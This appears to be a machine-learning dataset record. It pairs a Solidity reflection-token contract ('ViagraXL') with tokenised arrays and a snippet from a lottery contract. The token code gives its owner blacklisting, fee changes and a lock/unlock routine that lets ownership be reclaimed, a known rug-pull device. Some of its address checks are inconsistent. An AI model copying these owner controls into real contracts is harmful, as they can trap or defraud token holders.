(bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // Contract implementation contract ViagraXL is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcludedFromWhale; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private _isBlackListedBot; address[] private _blackListedBots; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000000000000000; //100,000,000,000 + 9 Decimals uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'ViagraXL Token'; string private _symbol = 'ViagraXL'; uint8 private _decimals = 9; // Wallets set at Deply time uint256 private _taxFee = 0; //Not used in this contract - Set function removed uint256 private _devFee = 4; // This portion goes to dev / Marketing Wallet uint256 private _whaleFee = 9; // This portion wil go to Viagra Whale Wallet for Buybacks and lottery payouts uint256 private _dwFee = _devFee.add(_whaleFee); uint256 private _previousTaxFee = _taxFee; uint256 private _previousDwFee = _dwFee; address payable public _whaleWalletAddress; address payable public _devWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; uint256 public _maxTxAmount = _tTotal; //no max tx limit rn uint256 private _numOfTokensToExchangeForETH = 5000000; uint256 public maxlimit = 500000000000000000; // 500,000,000 + Decimals event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable whaleWalletAddress, address payable devWalletAddress) public { _whaleWalletAddress = whaleWalletAddress; _devWalletAddress = devWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function isBlackListed(address account) public view returns (bool) { return _isBlackListedBot[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x10ED43C718714eb63d5aA57B78B54704E256024E, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function addBotToBlackList(address account) external onlyOwner() { require(account != 0x10ED43C718714eb63d5aA57B78B54704E256024E, 'We can not blacklist Uniswap router.'); require(!_isBlackListedBot[account], "Account is already blacklisted"); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function removeBotFromBlackList(address account) external onlyOwner() { require(_isBlackListedBot[account], "Account is not blacklisted"); for (uint256 i = 0; i < _blackListedBots.length; i++) { if (_blackListedBots[i] == account) { _blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1]; _isBlackListedBot[account] = false; _blackListedBots.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _dwFee == 0) return; _previousTaxFee = _taxFee; _previousDwFee = _devFee.add(_whaleFee); _taxFee = 0; _dwFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _dwFee = _previousDwFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setMaxTxLimit(uint256 maxTxLimit) external onlyOwner() { maxlimit = maxTxLimit; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[recipient], "You have no power here!"); require(!_isBlackListedBot[msg.sender], "You have no power here!"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular dwFee event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForETH; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // We need to swap the current tokens to ETH and send to the Dev and Whale wallets swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToWallets(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and dwFee (regular tax set at 0) _tokenTransfer(sender,recipient,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToWallets(uint256 amount) private { // uint256 tFees = _taxFee.add() _whaleWalletAddress.transfer(amount.div(_dwFee).mul(_whaleFee)); _devWalletAddress.transfer(amount.div(_dwFee).mul(_devFee)); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToWallets(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tDwFee) = _getValues(tAmount); if(!_isExcludedFromWhale[recipient]) { uint256 walletBalance = balanceOf(recipient).add(tTransferAmount); require( walletBalance <= maxlimit, "Wallet Limit exceeding"); } _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeDwFee(tDwFee); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tDwFee) = _getValues(tAmount); if(!_isExcludedFromWhale[recipient]) { uint256 walletBalance = balanceOf(recipient).add(tTransferAmount); require( walletBalance <= maxlimit, "Wallet Limit exceeding"); } _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeDwFee(tDwFee); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tDwFee) = _getValues(tAmount); if(!_isExcludedFromWhale[recipient]) { uint256 walletBalance = balanceOf(recipient).add(tTransferAmount); require( walletBalance <= maxlimit, "Wallet Limit exceeding"); } _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeDwFee(tDwFee); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tDwFee) = _getValues(tAmount); if(!_isExcludedFromWhale[recipient]) { uint256 walletBalance = balanceOf(recipient).add(tTransferAmount); require( walletBalance <= maxlimit, "Wallet Limit exceeding"); } _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeDwFee(tDwFee); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeDwFee(uint256 tDwFee) private { uint256 currentRate = _getRate(); uint256 rDwFee = tDwFee.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rDwFee); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tDwFee); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tDwFee) = _getTValues(tAmount, _taxFee, _dwFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tDwFee); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 dwFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tDwFee = tAmount.mul(dwFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tDwFee); return (tTransferAmount, tFee, tDwFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } // function _setTaxFee(uint256 taxFee) external onlyOwner() { // require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10'); // _taxFee = taxFee; // } function _setDevFee(uint256 devFee) external onlyOwner() { require(devFee >= 1 && devFee <= 11, 'devFee should be in 1 - 11'); _devFee = devFee; } function _setWhaleFee(uint256 whaleFee) external onlyOwner() { require(whaleFee >= 1 && whaleFee <= 11, 'whaleFee should be in 1 - 11'); _whaleFee = whaleFee; } function _getTotalTaxAmount() public view returns(uint256) { return _devFee.add(_whaleFee); } function _setWhaleWallet(address payable whaleWalletAddress) external onlyOwner() { _whaleWalletAddress = whaleWalletAddress; } }
500,000,000 + Decimals
uint256 public maxlimit = 500000000000000000;
1,745,228
[ 1, 12483, 16, 3784, 16, 3784, 397, 3416, 11366, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 1071, 943, 3595, 273, 1381, 12648, 2787, 11706, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/42161/0x2b0aa0374167E8E08ee4f26077Fc9631A665439b/sources/Lottery.sol
Get the BNB balance of the contract Get the current BNB-USD price from the price feed Convert the BNB balance to its equivalent value in USD
function getBNBBalanceInUSD() public view returns (uint256) { uint256 bnbBalance = address(this).balance; (, int256 price,,,) = priceFeed.latestRoundData(); uint256 bnbPrice = uint256(price); uint256 bnbValueInUSD = (bnbBalance * bnbPrice) / 1e18 * 1e10 ; return bnbValueInUSD; }
16,298,619
[ 1, 967, 326, 605, 20626, 11013, 434, 326, 6835, 968, 326, 783, 605, 20626, 17, 3378, 40, 6205, 628, 326, 6205, 4746, 4037, 326, 605, 20626, 11013, 358, 2097, 7680, 460, 316, 587, 9903, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2882, 50, 9676, 6112, 382, 3378, 40, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 1377, 2254, 5034, 324, 6423, 13937, 273, 1758, 12, 2211, 2934, 12296, 31, 203, 203, 3639, 261, 16, 509, 5034, 6205, 16408, 16, 13, 273, 6205, 8141, 18, 13550, 11066, 751, 5621, 203, 3639, 2254, 5034, 324, 6423, 5147, 273, 2254, 5034, 12, 8694, 1769, 203, 203, 3639, 2254, 5034, 324, 6423, 620, 382, 3378, 40, 273, 261, 70, 6423, 13937, 380, 324, 6423, 5147, 13, 342, 404, 73, 2643, 380, 404, 73, 2163, 274, 203, 203, 3639, 327, 324, 6423, 620, 382, 3378, 40, 31, 27699, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
